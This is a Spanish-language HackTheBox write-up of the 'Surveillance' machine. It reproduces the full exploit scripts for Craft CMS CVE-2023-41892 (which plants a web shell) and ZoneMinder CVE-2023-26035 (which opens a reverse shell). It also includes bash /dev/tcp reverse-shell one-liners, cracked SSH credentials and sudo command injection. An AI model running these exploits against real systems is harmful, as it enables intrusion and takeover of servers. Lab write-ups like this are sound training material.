Surveillance – HackTheBox Link to heading

  • OS: Linux
  • Dificultad: Medium / Media
  • Plataforma: HackTheBox

‘Surveillance’ Avatar


Usuario Link to heading

El scan deNmap sólo muestra 2 puertos abiertos: 22 SSH y 80 HTTP.

❯ sudo nmap -sVC -p22,80 10.10.11.245 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-18 17:52 -04
Nmap scan report for 10.10.11.245
Host is up (0.31s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://surveillance.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.95 seconds

Si intentamos visitar la web HTTP corriendo por el puerto 80 en http://10.10.11.245, somos redirigidos a http://surveillance.htb y la página no carga. Por esta simple razón agregamos surveillance.htb a nuestro archivo /etc/hosts corriendo el comando:

❯ sudo echo '10.10.11.245 surveillance.htb' >> /etc/hosts

Una vez agregado el dominio a nuestro archivo /etc/hosts, si volvemos a visitar http://surveillance.htb ahora sí podemos ver la página web:

Surveillance_1.png

Muchos de los botones en esta página no funcionan, de manera que sospecho que no hay nada interesante que ver aquí.

Noto que si visito /index.php éste muestra el sitio por defecto, de manera que asumo que el sitio está corriendo con PHP. Si intento un Brute Force Directory Listing (encontrar directorios con fuerza bruta) usando Gobuster, buscando también por archivos .php, encuentro algunos directorios:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://surveillance.htb -t 55 -x php

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://surveillance.htb
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 301) [Size: 178] [--> http://surveillance.htb/img/]
/images               (Status: 301) [Size: 178] [--> http://surveillance.htb/images/]
/index                (Status: 200) [Size: 1]
/index.php            (Status: 200) [Size: 16230]
/admin                (Status: 302) [Size: 0] [--> http://surveillance.htb/admin/login]
/css                  (Status: 301) [Size: 178] [--> http://surveillance.htb/css/]
/js                   (Status: 301) [Size: 178] [--> http://surveillance.htb/js/]
/logout               (Status: 302) [Size: 0] [--> http://surveillance.htb/]
/p1                   (Status: 200) [Size: 16230]
/fonts                (Status: 301) [Size: 178] [--> http://surveillance.htb/fonts/]
/p3                   (Status: 200) [Size: 16230]
/p2                   (Status: 200) [Size: 16230]

y encuentro un directorio interesante: /admin que redirige al directorio /admin/login. Hay muchísimos directorios llamados p<número> como p1, p20 y así… pero todos ellos redirigen a index.php (el sitio por defecto), de manera que los descarto.

Entonces si visitamos http://surveillance.htb/admin/login este sitio muestra otro panel de login:

Surveillance_2.png

De manera que el sitio está corriendo Craft CMS, un Content Management System –abreviado comúnmente como CMS– (como lo sería, por ejemplo, WordPress).

Si busco por exploits para este CMS usando SearchSploit puedo encontrar algunos:

❯ searchsploit craft cms

--------------------------------------------------- ---------------------------------
 Exploit Title                                     |  Path
--------------------------------------------------- ---------------------------------
Craft CMS 2.6 - Cross-Site Scripting               | php/webapps/42143.txt
Craft CMS 2.7.9/3.2.5 - Information Disclosure     | php/webapps/47343.txt
Craft CMS 3.0.25 - Cross-Site Scripting            | php/webapps/46054.txt
Craft CMS 3.1.12 Pro - Cross-Site Scripting        | php/webapps/46496.txt
Craft CMS SEOmatic plugin 3.1.4 - Server-Side Temp | linux/webapps/45108.txt
CraftCMS 3 vCard Plugin 1.0.0 - Remote Code Execut | php/webapps/48492.py
craftercms 4.x.x - CORS                            | multiple/webapps/51313.txt
--------------------------------------------------- ---------------------------------
Shellcodes: No Results

No obstante, de momento no tengo la versión de éste.

Si le doy una ojeada al código fuente de http://surveillance.htb se puede ver algo:

Surveillance_3.png de manera que asumo que la versión de Craft CMS es 4.4.14, la cual tristemente no está en los exploits mostrados por SearchSploit.

Pero si googleo Craft CMS 4.4 exploit encuentro que hay una vulnerabilidad catalogada como CVE-2023-41892. De aquí encuentro 2 sitios interesantes. Uno es un exploit de exploit-db (https://www.exploit-db.com/exploits/51918) y el otro es de este post de Github. Decido usar este último, el cual es:

import requests
import re
import sys

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36"
}

def writePayloadToTempFile(documentRoot):

    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'
    }

    files = {
        "image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
        <image>
        <read filename="caption:&lt;?php @system(@$_REQUEST['cmd']); ?&gt;"/>
        <write filename="info:DOCUMENTROOT/shell.php">
        </image>""".replace("DOCUMENTROOT", documentRoot), "text/plain")
    }

    response = requests.post(url, headers=headers, data=data, files=files, proxies={"http": "http://localhost:8080"})

def getTmpUploadDirAndDocumentRoot():
    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": r'{"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
    }

    response = requests.post(url, headers=headers, data=data)

    pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
    pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'
   
    match1 = re.search(pattern1, response.text, re.DOTALL)
    match2 = re.search(pattern2, response.text, re.DOTALL)
    return match1.group(1), match2.group(1)

def trigerImagick(tmpDir):
    
    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmpDir + r'/php*"}}}'
    }
    response = requests.post(url, headers=headers, data=data, proxies={"http": "http://127.0.0.1:8080"})    

def shell(cmd):
    response = requests.get(url + "/shell.php", params={"cmd": cmd})
    match = re.search(r'caption:(.*?)CAPTION', response.text, re.DOTALL)

    if match:
        extracted_text = match.group(1).strip()
        print(extracted_text)
    else:
        return None
    return extracted_text

if __name__ == "__main__":
    if(len(sys.argv) != 2):
        print("Usage: python CVE-2023-41892.py <url>")
        exit()
    else:
        url = sys.argv[1]
        print("[-] Get temporary folder and document root ...")
        upload_tmp_dir, documentRoot = getTmpUploadDirAndDocumentRoot()
        tmpDir = "/tmp" if upload_tmp_dir == "no value" else upload_tmp_dir
        print("[-] Write payload to temporary file ...")
        try:
            writePayloadToTempFile(documentRoot)
        except requests.exceptions.ConnectionError as e:
            print("[-] Crash the php process and write temp file successfully")

        print("[-] Trigger imagick to write shell ...")
        try:
            trigerImagick(tmpDir)
        except:
            pass

        print("[-] Done, enjoy the shell")
        while True:
            cmd = input("$ ")
            shell(cmd)

Si corro el script no pasa nada:

❯ python3 CVE_2023_41892.py http://surveillance.htb/

[-] Get temporary folder and document root ...
[-] Write payload to temporary file ...
[-] Crash the php process and write temp file successfully
[-] Trigger imagick to write shell ...
[-] Done, enjoy the shell
$ id
$ whoami

De manera que decido investigar y veo que en este post de Github, y también en este post, muestran un PoC levemente diferente, pero ellos usan un proxy con Burpsuite para hacerlo funcionar:

Surveillance_4.png

Para arreglar esto, para cada línea que tenga la variable response, tenemos que agregar un proxy htttp://127.0.0.1:8080. Burpsuite, por defecto, intercepta requests por el puerto 8080 en nuestra máquina. De manera que agregar esto hará que nuestro request del script de Python vaya a través de Burpsuite. Para esto cambio las líneas que están definidas como, por ejemplo:

response = requests.get(url + "/shell.php", params={"cmd": cmd})

a

response = requests.get(url + "/shell.php", params={"cmd": cmd}, proxies={"http", "http://127.0.0.1:8080"})

Y esto lo hacemos para cada vareable que esté seteada con response.get y response.post.

De manera que el código final que corre junto con Burpsuite se ve finalmente como:

import requests
import re
import sys

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36"
}

def writePayloadToTempFile(documentRoot):

    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'
    }

    files = {
        "image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
        <image>
        <read filename="caption:&lt;?php @system(@$_REQUEST['cmd']); ?&gt;"/>
        <write filename="info:DOCUMENTROOT/cpresources/shell.php">
        </image>""".replace("DOCUMENTROOT", documentRoot), "text/plain")
    }

    response = requests.post(url, headers=headers, data=data, files=files, proxies={"http": "http://127.0.0.1:8080"})

def getTmpUploadDirAndDocumentRoot():
    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": r'{"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
    }

    response = requests.post(url, headers=headers, data=data, proxies={"http": "http://127.0.0.1:8080"})

    pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
    pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'
   
    match1 = re.search(pattern1, response.text, re.DOTALL)
    match2 = re.search(pattern2, response.text, re.DOTALL)
    return match1.group(1), match2.group(1)

def trigerImagick(tmpDir):
    
    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmpDir + r'/php*"}}}'
    }
    response = requests.post(url, headers=headers, data=data, proxies={"http": "http://127.0.0.1:8080"})    

def shell(cmd):
    response = requests.get(base_url + "/cpresources/shell.php", params={"cmd": cmd}, proxies={"http": "http://127.0.0.1:8080"})
    match = re.search(r'caption:(.*?)CAPTION', response.text, re.DOTALL)

    if match:
        extracted_text = match.group(1).strip()
        print(extracted_text)
    else:
        return None
    return extracted_text

if __name__ == "__main__":
    if(len(sys.argv) != 2):
        print("Usage: python CVE-2023-41892.py <url>")
        exit()
    else:
        url = sys.argv[1]
        base_url = 'http://surveillance.htb'
        print("[-] Get temporary folder and document root ...")
        upload_tmp_dir, documentRoot = getTmpUploadDirAndDocumentRoot()
        tmpDir = "/tmp" if "no value" in upload_tmp_dir else upload_tmp_dir
        print("[-] Write payload to temporary file ...")
        try:
            writePayloadToTempFile(documentRoot)
        except requests.exceptions.ConnectionError as e:
            print("[-] Crash the php process and write temp file successfully")

        print("[-] Trigger imagick to write shell ...")
        try:
            trigerImagick(tmpDir)
        except:
            pass

        print("[-] Done, enjoy the shell")
        while True:
            cmd = input("$ ")
            shell(cmd)

Antes de volver a correr el script modificado, abro Burpsuite y voy a Proxy -> Intercept -> Intercept On. Primero, intenté esto contra la página http://surveillance.htb/admin/login, dado que el panel de login Craft CMS estaba expuesto en ese directorio. Y si corro el script:

❯ python3 CVE_2023_41892_modified.py http://surveillance.htb/admin/login

Puedo ver que Burpsuite intercepta exitosamente el request hecho por el script de python3:

Surveillance_5.png

y, luego de esto, es sólo clickear en Forward a medida que el script hace las requests/peticiones.

Sin embargo, al final noto que el script vuelve a fallar:

❯ python3 CVE_2023_41892_modified.py http://surveillance.htb/admin/login

[-] Get temporary folder and document root ...
[-] Write payload to temporary file ...
[-] Trigger imagick to write shell ...
[-] Done, enjoy the shell
$ id
$

Si chequeo el historial de Burpsuite (Proxy -> Intercept -> HTTP History) noto un código 502 Bad Gateway, es decir, estamos tratando de hacer una petición POST a un endpoint que no existe.

Surveillance_6.png

De manera que, en lugar de http://surveillance.htb/admin/login simplemente trato con la url http://surveillance.htb y ahora sí funciona (y luego de volver a repetir los pasos con Burpsuite explicados anteriormente):

❯ python3 CVE_2023_41892_modified.py http://surveillance.htb/

[-] Get temporary folder and document root ...
[-] Write payload to temporary file ...
[-] Trigger imagick to write shell ...
[-] Done, enjoy the shell
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Empiezo un listener con nc en el puerto 443 y, luego, en la shell del script corro el comando bash -c 'bash -i >& /dev/tcp/10.10.16.6/443 0>&1', de manera que éste se ve como:

❯ python3 CVE_2023_41892_modified.py http://surveillance.htb/

[-] Get temporary folder and document root ...
[-] Write payload to temporary file ...
[-] Trigger imagick to write shell ...
[-] Done, enjoy the shell
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ bash -c 'bash -i >& /dev/tcp/10.10.16.6/443 0>&1'

y en mi listener de nc obtengo una reverse shell:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.245] 44376
bash: cannot set terminal process group (1086): Inappropriate ioctl for device
bash: no job control in this shell
www-data@surveillance:~/html/craft/web/cpresources$ whoami
whoami
www-data

Una vez dentro de la máquina noto que soy el usuario www-data. Además, puedo ver otros dos usuarios: matthew y zoneminder:

www-data@surveillance:~/html/craft/web/cpresources$ ls /home

matthew  zoneminder

Buscando y buscando, al buscar por archivos con la palabra back (de backup) en /var/www/html/craft puedo ver algo:

www-data@surveillance:~/html/craft$ find . -name "*back*" 2>/dev/null

./storage/backups
./vendor/cebe/markdown/tests/markdown-data/md1_backslash_escapes.md
./vendor/cebe/markdown/tests/markdown-data/md1_backslash_escapes.html
./vendor/voku/arrayy/src/TypeCheck/TypeCheckCallback.php
./vendor/voku/anti-xss/src/voku/helper/data/entities_fallback.php
./vendor/nette/utils/src/Utils/Callback.php
./vendor/craftcms/cms/src/templates/plugin-store/_special/oauth/callback.twig
./vendor/craftcms/cms/src/templates/plugin-store/_special/oauth/modal-callback.twig
./vendor/craftcms/cms/src/web/assets/dbbackup
./vendor/craftcms/cms/src/web/twig/nodes/FallbackNameExpression.php
./vendor/craftcms/cms/src/imagetransforms/FallbackTransformer.php
./vendor/yiisoft/yii2-debug/src/assets/scss/bs-4.3.1/utilities/_background.scss
./vendor/yiisoft/yii2-debug/src/assets/scss/bs-4.3.1/mixins/_background-variant.scss
./vendor/monolog/monolog/src/Monolog/Handler/FallbackGroupHandler.php

De manera que hay un directorio /var/www/html/craft/storage/backups que se ve prometedor. Dentro del directorio si veo el contenido de éste tenemos un archivo .zip:

www-data@surveillance:~/html/craft/storage/backups$ ls -la

total 28
drwxrwxr-x 2 www-data www-data  4096 Oct 17  2023 .
drwxr-xr-x 6 www-data www-data  4096 Oct 11  2023 ..
-rw-r--r-- 1 root     root     19918 Oct 17  2023 surveillance--2023-10-17-202801--v4.4.14.sql.zip

Dado que el servidor víctima tiene python3 instalado, me aprovecho de esto para empezar un servidor Python HTTP temportal en el puerto 8000 de la máquina víctima, exponer el archivo del backup y descargarlo. De manera que en la máquina víctima corremos:

www-data@surveillance:~/html/craft/storage/backups$ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

y lo paso a mí máquina de atacante corriendo el comando wget:

❯ wget http://surveillance.htb:8000/surveillance--2023-10-17-202801--v4.4.14.sql.zip

--2024-04-18 20:12:54--  http://surveillance.htb:8000/surveillance--2023-10-17-202801--v4.4.14.sql.zip
Resolving surveillance.htb (surveillance.htb)... 10.10.11.245
Connecting to surveillance.htb (surveillance.htb)|10.10.11.245|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19918 (19K) [application/zip]
Saving to: ‘surveillance--2023-10-17-202801--v4.4.14.sql.zip’

surveillance--2023-10-17-202801--v4.4.14.s 100%[=======================================================================================>]  19.45K  75.1KB/s    in 0.3s

2024-04-18 20:12:54 (75.1 KB/s) - ‘surveillance--2023-10-17-202801--v4.4.14.sql.zip’ saved [19918/19918]

Luego, en mi máquina de atacante, –y luego de descomprimir el archivo con unzip– simplemente leo este archivo .sql con cat y hay un montón de output. Pero dentro de tanto output hay algo que llama mi atención:

❯ cat surveillance--2023-10-17-202801--v4.4.14.sql | grep -i "matthew"

INSERT INTO `searchindex` VALUES (1,'email',0,1,' admin surveillance htb '),(1,'firstname',0,1,' matthew '),(1,'fullname',0,1,' matthew b '),(1,'lastname',0,1,' b '),(1,'slug',0,1,''),(1,'username',0,1,' admin '),(2,'slug',0,1,' home '),(2,'title',0,1,' home '),(7,'slug',0,1,' coming soon '),(7,'title',0,1,' coming soon ');
INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew B','Matthew','B','admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec','2023-10-17 20:22:34',NULL,NULL,NULL,'2023-10-11 18:58:57',NULL,1,NULL,NULL,NULL,0,'2023-10-17 20:27:46','2023-10-11 17:57:16','2023-10-17 20:27:46');

39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec se ve como un hash.

Guardo este hash y lo paso a Crackstation (https://crackstation.net/) para intentar un Brute Force Password Cracking (crackear la contraseña por fuereza bruta):

Surveillance_7.png

y encontramos una contraseña: starcraft122490

Chequeo con NetExec (el sucesor de CrackMapExec) si tengo acceso al usuario matthew via SSH y la tenemos:

❯ netexec ssh 10.10.11.245 -u 'matthew' -p 'starcraft122490'

SSH         10.10.11.245    22     10.10.11.245     [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.4
SSH         10.10.11.245    22     10.10.11.245     [+] matthew:starcraft122490  (non root) Linux - Shell access!

De manera que podemos acceder via SSH con las credenciales matthew:starcraft122490 a la máquina víctima, donde podemos obtener la flag de usuario en el home de matthew.

Root Link to heading

Una vez dentro, si busco por puertos abiertos, puedo ver un par de puertos que no estaban previamente expuestos por el scan de Nmap:

matthew@surveillance:~$ ss -ntlp

State               Recv-Q              Send-Q                           Local Address:Port                            Peer Address:Port              Process
LISTEN              0                   80                                   127.0.0.1:3306                                 0.0.0.0:*
LISTEN              0                   511                                  127.0.0.1:8080                                 0.0.0.0:*
LISTEN              0                   511                                    0.0.0.0:80                                   0.0.0.0:*
LISTEN              0                   4096                             127.0.0.53%lo:53                                   0.0.0.0:*
LISTEN              0                   128                                    0.0.0.0:22                                   0.0.0.0:*
LISTEN              0                   128                                       [::]:22                                      [::]:*

De manera que tenemos un servicio MySQL corriendo en el puerto 3306 (como es usual), y algo corriendo en el puerto 8080 (usualmente usado para servicios web).

Para chequear si es un servicio que puede ser visitado a través de un browser de internet como Firefox, personalmente me gusta usar primero cURL y ver el output:

matthew@surveillance:~$ curl -s http://127.0.0.1:8080

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>ZM - Login</title>
<SNIP>
var failed = false;
  </script>
  <script src="skins/classic/views/js/login.js"></script>
  <script src="skins/classic/js/skin.js"></script>
  <script src="js/logger.js"></script>
  <script nonce="f3e94bd4e8a1388222a111d79663f97d">$j('.chosen').chosen();</script>
  <script nonce="f3e94bd4e8a1388222a111d79663f97d">CsrfMagic.end();</script></body>
</html>

Si no hubiera output, o si curl hubiese lanzado un error, asumo que no es un sitio web o similar. Pero dado que sí tenemos output, sospecho entonces que sí es un sitio web.

Pero este servicio no está disponible fuera de la máquina. Sólo internamente, y dado que tenemos credentiales por SSH, intentaré un Local Port Forwarding para jugar con los puertos. Cierro la sesión de SSH, y me re conecto a la máquina via SSH, pero esta vez agregando al conectarnos la opción -L 1234:127.0.0.1:8080:

❯ sshpass -p 'starcraft122490' ssh -o stricthostkeychecking=no -L 1234:127.0.0.1:8080 matthew@10.10.11.245

Con esto convierto mi puerto local 1234 en el puerto 8080 de la máquina víctima.

De manera que ahora abro un browser de internet (en mi caso uso Firefox) y visito http://127.0.0.1:1234. Y puedo ver una página web:

Surveillance_8.png

Aparentemente, este sitio está corriendo ZoneMinder

Información
ZoneMinder es un software gratuito, open-source, para monitoreo.

Para chequear la version de éste podemos correr:

matthew@surveillance:~$ dpkg -l | grep zoneminder

hi  zoneminder                            1.36.32+dfsg1-1                         amd64        video camera security and surveillance solution

de manera que la versión es 1.36.32.

  • Usando SearchSploit busco por exploits para ZoneMinder:
❯ searchsploit zoneminder

-------------------------------------------------------- ---------------------------------
 Exploit Title                                          |  Path
-------------------------------------------------------- ---------------------------------
ZoneMinder 1.24.3 - Remote File Inclusion               | php/webapps/17593.txt
Zoneminder 1.29/1.30 - Cross-Site Scripting / SQL Injec | php/webapps/41239.txt
ZoneMinder 1.32.3 - Cross-Site Scripting                | php/webapps/47060.txt
Zoneminder < v1.37.24 - Log Injection & Stored XSS & CS | php/webapps/51071.py
ZoneMinder Snapshots < 1.37.33 - Unauthenticated RCE    | php/webapps/51902.py
ZoneMinder Video Server - packageControl Command Execut | unix/remote/24310.rb
-------------------------------------------------------- ---------------------------------
Shellcodes: No Results

El exploit 51902 se ve prometedor, dado que se ajusta a nuestra versión.

El exploit en sí es:

import re
import requests
from bs4 import BeautifulSoup
import argparse
import base64

# Exploit Title: Unauthenticated RCE in ZoneMinder Snapshots
# Date: 12 December 2023
# Discovered by : @Unblvr1
# Exploit Author: Ravindu Wickramasinghe (@rvizx9)
# Vendor Homepage: https://zoneminder.com/
# Software Link: https://github.com/ZoneMinder/zoneminder
# Version: prior to 1.36.33 and 1.37.33
# Tested on: Arch Linux, Kali Linux
# CVE : CVE-2023-26035
# Github Link : https://github.com/rvizx/CVE-2023-26035


class ZoneMinderExploit:
    def __init__(self, target_uri):
        self.target_uri = target_uri
        self.csrf_magic = None

    def fetch_csrf_token(self):
        print("[>] fetching csrt token")
        response = requests.get(self.target_uri)
        self.csrf_magic = self.get_csrf_magic(response)
        if response.status_code == 200 and re.match(r'^key:[a-f0-9]{40},\d+', self.csrf_magic):
            print(f"[>] recieved the token: {self.csrf_magic}")
            return True
        print("[!] unable to fetch or parse token.")
        return False

    def get_csrf_magic(self, response):
        return BeautifulSoup(response.text, 'html.parser').find('input', {'name': '__csrf_magic'}).get('value', None)

    def execute_command(self, cmd):
        print("[>] sending payload..")
        data = {'view': 'snapshot', 'action': 'create', 'monitor_ids[0][Id]': f';{cmd}', '__csrf_magic': self.csrf_magic}
        response = requests.post(f"{self.target_uri}/index.php", data=data)
        print("[>] payload sent" if response.status_code == 200 else "[!] failed to send payload")

    def exploit(self, payload):
        if self.fetch_csrf_token():
            print(f"[>] executing...")
            self.execute_command(payload)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target-url', required=True, help='target url endpoint')
    parser.add_argument('-ip', '--local-ip', required=True, help='local ip')
    parser.add_argument('-p', '--port', required=True, help='port')
    args = parser.parse_args()

    # generating the payload
    ps1 = f"bash -i >& /dev/tcp/{args.local_ip}/{args.port} 0>&1"
    ps2 = base64.b64encode(ps1.encode()).decode()
    payload = f"echo {ps2} | base64 -d | /bin/bash"

    ZoneMinderExploit(args.target_url).exploit(payload)

el cual manda una reverse shell a una IP y puerto dado.

Mirando el código del exploit tenemos que sí o sí correrlo en nuestra máquina de atacante. Esto porque el script pide la librería BeautifulSoap, la cual no viene por defecto instalada con python3 (y no hay manera de instalarla en la máquina víctima sin ser root, ni menos sin conexión a internet como lo son las máquinas de HTB). En realidad esto no presenta ningún problema gracias al Local Port Forwarding que habíamos establecido previamente.

De manera que, en otra shell/terminal, empezamos otro listener con nc en el puerto 443 y corremos:

❯ python3 zoneminder_snapshot_unauth_rce.py -t http://127.0.0.1:1234 -ip 10.10.16.6 -p 443

[>] fetching csrt token
[>] recieved the token: key:0bfb5b839801ff10b9a9a6d91775fcd0e69aeecc,1713488472
[>] executing...
[>] sending payload..

y en mi listener de nc obtengo:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.245] 43902
bash: cannot set terminal process group (1086): Inappropriate ioctl for device
bash: no job control in this shell
zoneminder@surveillance:/usr/share/zoneminder/www$ whoami
whoami
zoneminder

Pero ahora como el usuario zoneminder. Una vez como este usuario, puedo ver que éste puede correr comandos con sudo sin proporcionar contraseña:

zoneminder@surveillance:/usr/share/zoneminder/www$ sudo -l

Matching Defaults entries for zoneminder on surveillance:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User zoneminder may run the following commands on surveillance:
    (ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *

Básicamente, podemos correr cualquier script de Perl (que termine con .pl), que comience con zm, luego contenga letras y que se encuentre dentro del directorio /usr/bin. Como éste sólo acepta letras luego de /usr/bin/zm, no podemos inyectar algo como ../ (de manera que tratar de correr sudo /usr/bin/zm/../../../../../../../script_malicoso.pl no funcionará). Viendo qué podemos correr tenemos:

zoneminder@surveillance:/usr/share/zoneminder/www$ find /usr/bin -name "zm*.pl" -exec ls -la {} \; 2>/dev/null

-rwxr-xr-x 1 root root 5340 Nov 23  2022 /usr/bin/zmtrack.pl
-rwxr-xr-x 1 root root 13994 Nov 23  2022 /usr/bin/zmpkg.pl
-rwxr-xr-x 1 root root 6043 Nov 23  2022 /usr/bin/zmcontrol.pl
-rwxr-xr-x 1 root root 5640 Nov 23  2022 /usr/bin/zmonvif-probe.pl
-rwxr-xr-x 1 root root 8205 Nov 23  2022 /usr/bin/zmvideo.pl
-rwxr-xr-x 1 root root 13111 Nov 23  2022 /usr/bin/zmtelemetry.pl
-rwxr-xr-x 1 root root 2133 Nov 23  2022 /usr/bin/zmsystemctl.pl
-rwxr-xr-x 1 root root 19386 Nov 23  2022 /usr/bin/zmonvif-trigger.pl
-rwxr-xr-x 1 root root 7022 Nov 23  2022 /usr/bin/zmwatch.pl
-rwxr-xr-x 1 root root 26232 Nov 23  2022 /usr/bin/zmdc.pl
-rwxr-xr-x 1 root root 4815 Nov 23  2022 /usr/bin/zmstats.pl
-rwxr-xr-x 1 root root 18482 Nov 23  2022 /usr/bin/zmtrigger.pl
-rwxr-xr-x 1 root root 19655 Nov 23  2022 /usr/bin/zmx10.pl
-rwxr-xr-x 1 root root 35206 Nov 23  2022 /usr/bin/zmfilter.pl
-rwxr-xr-x 1 root root 12939 Nov 23  2022 /usr/bin/zmcamtool.pl
-rwxr-xr-x 1 root root 43027 Nov 23  2022 /usr/bin/zmaudit.pl
-rwxr-xr-x 1 root root 45421 Nov 23  2022 /usr/bin/zmupdate.pl
-rwxr-xr-x 1 root root 17492 Nov 23  2022 /usr/bin/zmrecover.pl

de manera que podemos correr cualquiera de estos archivos como el usuario root.

Luego de jugar con algunos archivos, encuentro el archivo /usr/bin/zmupdate.pl. Si simplemente lo corremos tenemos que no pasa nada:

zoneminder@surveillance:/tmp$ sudo /usr/bin/zmupdate.pl

Database already at version 1.36.32, update skipped.

pero chequeando por opciones/argumentos que el script recibe tenemos que:

zoneminder@surveillance:/tmp$ sudo /usr/bin/zmupdate.pl --help

Unknown option: help
Usage:
    zmupdate.pl -c,--check | -f,--freshen | -v<version>,--version=<version>
    [-u <dbuser> -p <dbpass>]

Options:
    -c, --check - Check for updated versions of ZoneMinder -f, --freshen -
    Freshen the configuration in the database. Equivalent of old zmconfig.pl
    -noi --migrate-events - Update database structures as per
    USE_DEEP_STORAGE setting. -v <version>, --version=<version> - Force
    upgrade to the current version from <version> -u <dbuser>,
    --user=<dbuser> - Alternate DB user with privileges to alter DB -p
    <dbpass>, --pass=<dbpass> - Password of alternate DB user with
    privileges to alter DB -s, --super - Use system maintenance account on
    debian based systems instead of unprivileged account -d <dir>,
    --dir=<dir> - Directory containing update files if not in default build
    location -interactive - interact with the user -nointeractive - do not
    interact with the user

incluso si la opción --help no existe, sí me ayudó. Hay una flag -v o --version la cual pregunta por una version. Si usamos --version 1 el script corre, pero al final tira un error:

zoneminder@surveillance:/tmp$ sudo /usr/bin/zmupdate.pl --version 1

Initiating database upgrade to version 1.36.32 from version 1

WARNING - You have specified an upgrade from version 1 but the database version found is 1.36.32. Is this correct?
Press enter to continue or ctrl-C to abort :

<SNIP>

Upgrading DB to 1.30.1 from 1.26.0
ERROR 1136 (21S01) at line 8: Column count doesn't match value count at row 1
Output:
Command 'mysql -uzmuser -p'ZoneMinderPassword2023' -hlocalhost zm < /usr/share/zoneminder/db/zm_update-1.30.1.sql' exited with status: 1

Noto que también el script pregunta por un usuario y contraseña (posiblemente de la database que updatea). Luego de jugar, si paso un usuario y contraseña que en realidad sean comandos, hay un output que lo está interpretando:

zoneminder@surveillance:/tmp$ sudo /usr/bin/zmupdate.pl --version 1 --user='$(id)' -p='$(whoami)'

Initiating database upgrade to version 1.36.32 from version 1

WARNING - You have specified an upgrade from version 1 but the database version found is 1.36.32. Is this correct?
Press enter to continue or ctrl-C to abort :

Do you wish to take a backup of your database prior to upgrading?
This may result in a large file in /tmp/zm if you have a lot of events.
